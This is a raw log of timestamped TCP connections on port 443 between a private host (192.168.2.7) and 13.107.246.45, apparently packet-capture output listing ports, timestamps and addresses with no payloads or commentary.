Oct 7, 2024 18:44:02.341263056 CEST	64623	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:02.341438055 CEST	64623	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:02.341449022 CEST	443	64623	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:02.341460943 CEST	64623	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:02.341466904 CEST	443	64623	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:02.344374895 CEST	64628	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:02.344425917 CEST	443	64628	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:02.344497919 CEST	64628	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:02.344624043 CEST	64628	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:02.344639063 CEST	443	64628	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:02.399044991 CEST	443	64624	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:02.399071932 CEST	443	64624	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:02.399123907 CEST	443	64624	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:02.399159908 CEST	64624	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:02.399195910 CEST	64624	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:02.399405003 CEST	64624	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:02.399425030 CEST	443	64624	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:02.399439096 CEST	64624	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:02.399445057 CEST	443	64624	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:02.401959896 CEST	64629	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:02.402002096 CEST	443	64629	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:02.402080059 CEST	64629	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:02.402229071 CEST	64629	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:02.402240038 CEST	443	64629	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:02.448060989 CEST	443	64625	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:02.448539019 CEST	64625	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:02.448564053 CEST	443	64625	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:02.450042963 CEST	64625	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:02.450056076 CEST	443	64625	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:02.639661074 CEST	443	64625	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:02.641622066 CEST	443	64625	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:02.641695023 CEST	64625	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:02.641736984 CEST	64625	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:02.641757011 CEST	443	64625	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:02.641772032 CEST	64625	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:02.641777992 CEST	443	64625	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:02.644646883 CEST	64630	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:02.644687891 CEST	443	64630	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:02.644892931 CEST	64630	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:02.645061016 CEST	64630	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:02.645072937 CEST	443	64630	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:02.684191942 CEST	443	64626	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:02.684919119 CEST	64626	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:02.684947968 CEST	443	64626	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:02.686542988 CEST	64626	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:02.686561108 CEST	443	64626	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:02.847683907 CEST	443	64626	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:02.847851992 CEST	443	64626	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:02.848268986 CEST	64626	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:02.848268986 CEST	64626	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:02.848268986 CEST	64626	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:02.850991964 CEST	64631	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:02.851038933 CEST	443	64631	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:02.851110935 CEST	64631	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:02.851247072 CEST	64631	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:02.851258993 CEST	443	64631	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:03.079289913 CEST	443	64627	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:03.080176115 CEST	64627	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:03.080219030 CEST	443	64627	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:03.081917048 CEST	64627	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:03.081923962 CEST	443	64627	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:03.096492052 CEST	443	64628	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:03.097071886 CEST	64628	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:03.097088099 CEST	443	64628	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:03.097493887 CEST	64628	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:03.097503901 CEST	443	64628	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:03.162919998 CEST	64626	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:03.162951946 CEST	443	64626	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:03.173841000 CEST	443	64627	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:03.173899889 CEST	443	64627	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:03.173976898 CEST	64627	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:03.174007893 CEST	443	64627	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:03.174038887 CEST	443	64627	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:03.174089909 CEST	64627	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:03.174245119 CEST	64627	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:03.174266100 CEST	443	64627	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:03.174279928 CEST	64627	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:03.174284935 CEST	443	64627	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:03.176696062 CEST	64632	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:03.176734924 CEST	443	64632	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:03.176803112 CEST	64632	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:03.176928043 CEST	64632	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:03.176939964 CEST	443	64632	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:03.180052042 CEST	443	64629	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:03.180419922 CEST	64629	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:03.180440903 CEST	443	64629	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:03.181876898 CEST	64629	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:03.181885004 CEST	443	64629	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:03.193551064 CEST	443	64628	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:03.193708897 CEST	443	64628	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:03.193798065 CEST	64628	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:03.194026947 CEST	64628	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:03.194026947 CEST	64628	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:03.194048882 CEST	443	64628	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:03.194057941 CEST	443	64628	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:03.197304964 CEST	64633	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:03.197345972 CEST	443	64633	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:03.197402000 CEST	64633	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:03.197665930 CEST	64633	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:03.197681904 CEST	443	64633	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:03.382896900 CEST	443	64629	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:03.382920027 CEST	443	64629	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:03.382981062 CEST	443	64629	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:03.382998943 CEST	64629	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:03.383047104 CEST	64629	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:03.415247917 CEST	64629	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:03.415247917 CEST	64629	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:03.415275097 CEST	443	64629	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:03.415286064 CEST	443	64629	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:03.420268059 CEST	64634	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:03.420329094 CEST	443	64634	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:03.420592070 CEST	64634	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:03.420592070 CEST	64634	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:03.420633078 CEST	443	64634	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:03.466197968 CEST	443	64630	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:03.468131065 CEST	64630	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:03.468153954 CEST	443	64630	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:03.478494883 CEST	64630	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:03.478512049 CEST	443	64630	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:03.584000111 CEST	443	64630	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:03.584032059 CEST	443	64630	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:03.584100962 CEST	64630	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:03.584124088 CEST	443	64630	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:03.584345102 CEST	443	64630	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:03.585381031 CEST	64630	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:03.586425066 CEST	64630	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:03.586438894 CEST	443	64630	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:03.586451054 CEST	64630	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:03.586455107 CEST	443	64630	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:03.610528946 CEST	64635	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:03.610567093 CEST	443	64635	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:03.610645056 CEST	64635	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:03.610811949 CEST	64635	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:03.610822916 CEST	443	64635	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:03.629234076 CEST	443	64631	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:03.646552086 CEST	64631	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:03.646584034 CEST	443	64631	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:03.646965027 CEST	64631	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:03.646969080 CEST	443	64631	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:03.740933895 CEST	443	64631	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:03.740952969 CEST	443	64631	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:03.741039991 CEST	64631	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:03.741053104 CEST	443	64631	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:03.741071939 CEST	443	64631	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:03.741113901 CEST	64631	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:03.743463039 CEST	64631	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:03.743478060 CEST	443	64631	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:03.743485928 CEST	64631	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:03.743490934 CEST	443	64631	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:03.763629913 CEST	64636	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:03.763712883 CEST	443	64636	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:03.763782024 CEST	64636	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:03.764190912 CEST	64636	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:03.764226913 CEST	443	64636	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:03.915477991 CEST	443	64633	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:03.939760923 CEST	443	64632	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:03.956650019 CEST	64633	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:03.956665039 CEST	443	64633	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:03.973165989 CEST	64633	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:03.973181009 CEST	443	64633	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:03.984950066 CEST	64632	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:03.984966993 CEST	443	64632	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:03.985306978 CEST	64632	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:03.985311985 CEST	443	64632	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:04.066046953 CEST	443	64633	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:04.066210032 CEST	443	64633	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:04.066293001 CEST	64633	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:04.067684889 CEST	443	64634	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:04.079780102 CEST	443	64632	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:04.079799891 CEST	443	64632	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:04.079849005 CEST	64632	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:04.079853058 CEST	443	64632	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:04.079891920 CEST	64632	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:04.095504999 CEST	64633	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:04.095527887 CEST	443	64633	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:04.095565081 CEST	64633	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:04.095571995 CEST	443	64633	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:04.117357016 CEST	64634	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:04.119409084 CEST	64634	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:04.119419098 CEST	443	64634	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:04.127403021 CEST	64634	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:04.127408981 CEST	443	64634	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:04.143521070 CEST	64632	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:04.143544912 CEST	443	64632	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:04.143579006 CEST	64632	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:04.143584013 CEST	443	64632	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:04.187622070 CEST	64637	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:04.187724113 CEST	443	64637	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:04.187803030 CEST	64637	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:04.189367056 CEST	64637	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:04.189404964 CEST	443	64637	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:04.197036982 CEST	64638	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:04.197058916 CEST	443	64638	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:04.197120905 CEST	64638	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:04.197241068 CEST	64638	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:04.197257042 CEST	443	64638	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:04.218456030 CEST	443	64634	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:04.218508959 CEST	443	64634	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:04.218573093 CEST	64634	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:04.218890905 CEST	64634	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:04.218905926 CEST	443	64634	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:04.219405890 CEST	64634	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:04.219410896 CEST	443	64634	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:04.222513914 CEST	64639	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:04.222595930 CEST	443	64639	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:04.222666025 CEST	64639	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:04.222954035 CEST	64639	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:04.222987890 CEST	443	64639	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:04.234278917 CEST	443	64635	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:04.235261917 CEST	64635	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:04.235274076 CEST	443	64635	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:04.235846043 CEST	64635	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:04.235851049 CEST	443	64635	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:04.330574989 CEST	443	64635	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:04.330657005 CEST	443	64635	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:04.330708981 CEST	64635	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:04.348678112 CEST	64635	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:04.348706007 CEST	443	64635	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:04.348717928 CEST	64635	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:04.348723888 CEST	443	64635	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:04.354928970 CEST	64640	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:04.355006933 CEST	443	64640	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:04.355078936 CEST	64640	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:04.355698109 CEST	64640	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:04.355732918 CEST	443	64640	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:04.386385918 CEST	443	64636	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:04.386794090 CEST	64636	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:04.386857033 CEST	443	64636	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:04.387171984 CEST	64636	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:04.387187004 CEST	443	64636	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:04.482709885 CEST	443	64636	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:04.483023882 CEST	443	64636	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:04.483086109 CEST	64636	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:04.486413002 CEST	64636	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:04.486413002 CEST	64636	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:04.486443996 CEST	443	64636	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:04.486468077 CEST	443	64636	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:04.491890907 CEST	64641	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:04.491920948 CEST	443	64641	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:04.491988897 CEST	64641	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:04.492120981 CEST	64641	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:04.492130995 CEST	443	64641	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:04.805761099 CEST	443	64637	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:04.806330919 CEST	64637	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:04.806371927 CEST	443	64637	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:04.806783915 CEST	64637	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:04.806793928 CEST	443	64637	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:04.811090946 CEST	443	64638	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:04.811378956 CEST	64638	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:04.811419010 CEST	443	64638	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:04.811690092 CEST	64638	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:04.811701059 CEST	443	64638	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:04.824546099 CEST	443	64639	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:04.824891090 CEST	64639	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:04.824907064 CEST	443	64639	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:04.825176954 CEST	64639	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:04.825181007 CEST	443	64639	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:04.900971889 CEST	443	64637	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:04.900988102 CEST	443	64637	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:04.901035070 CEST	443	64637	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:04.901072979 CEST	64637	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:04.901112080 CEST	64637	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:04.901346922 CEST	64637	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:04.901367903 CEST	443	64637	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:04.901380062 CEST	64637	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:04.901385069 CEST	443	64637	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:04.904077053 CEST	64642	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:04.904108047 CEST	443	64642	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:04.904205084 CEST	64642	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:04.904334068 CEST	64642	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:04.904347897 CEST	443	64642	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:04.907949924 CEST	443	64638	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:04.908015966 CEST	443	64638	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:04.908077955 CEST	64638	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:04.908098936 CEST	443	64638	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:04.908130884 CEST	443	64638	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:04.908171892 CEST	64638	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:04.908193111 CEST	64638	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:04.908204079 CEST	443	64638	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:04.908211946 CEST	64638	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:04.908216953 CEST	443	64638	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:04.910032988 CEST	64643	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:04.910121918 CEST	443	64643	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:04.910212040 CEST	64643	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:04.910322905 CEST	64643	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:04.910360098 CEST	443	64643	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:04.925062895 CEST	443	64639	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:04.925091028 CEST	443	64639	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:04.925103903 CEST	443	64639	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:04.925292969 CEST	64639	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:04.925293922 CEST	64639	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:04.925337076 CEST	443	64639	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:04.925407887 CEST	64639	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:04.989453077 CEST	443	64640	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:04.990137100 CEST	64640	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:04.990175009 CEST	443	64640	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:04.990451097 CEST	64640	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:04.990462065 CEST	443	64640	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:05.001589060 CEST	443	64639	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:05.001663923 CEST	443	64639	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:05.001816988 CEST	64639	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:05.001817942 CEST	64639	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:05.001817942 CEST	64639	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:05.001899958 CEST	64639	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:05.001938105 CEST	443	64639	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:05.004590988 CEST	64644	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:05.004623890 CEST	443	64644	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:05.004715919 CEST	64644	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:05.004852057 CEST	64644	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:05.004863024 CEST	443	64644	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:05.086143017 CEST	443	64640	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:05.086175919 CEST	443	64640	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:05.086277008 CEST	64640	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:05.086303949 CEST	443	64640	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:05.086612940 CEST	443	64640	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:05.086668968 CEST	64640	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:05.086719036 CEST	64640	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:05.086734056 CEST	443	64640	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:05.086744070 CEST	64640	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:05.086749077 CEST	443	64640	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:05.088788033 CEST	64645	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:05.088879108 CEST	443	64645	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:05.088973999 CEST	64645	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:05.089107037 CEST	64645	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:05.089143038 CEST	443	64645	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:05.179826975 CEST	443	64641	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:05.181898117 CEST	64641	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:05.181932926 CEST	443	64641	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:05.182364941 CEST	64641	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:05.182369947 CEST	443	64641	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:05.284528017 CEST	443	64641	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:05.284550905 CEST	443	64641	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:05.284573078 CEST	443	64641	13.107.246.45	192.168.2.7
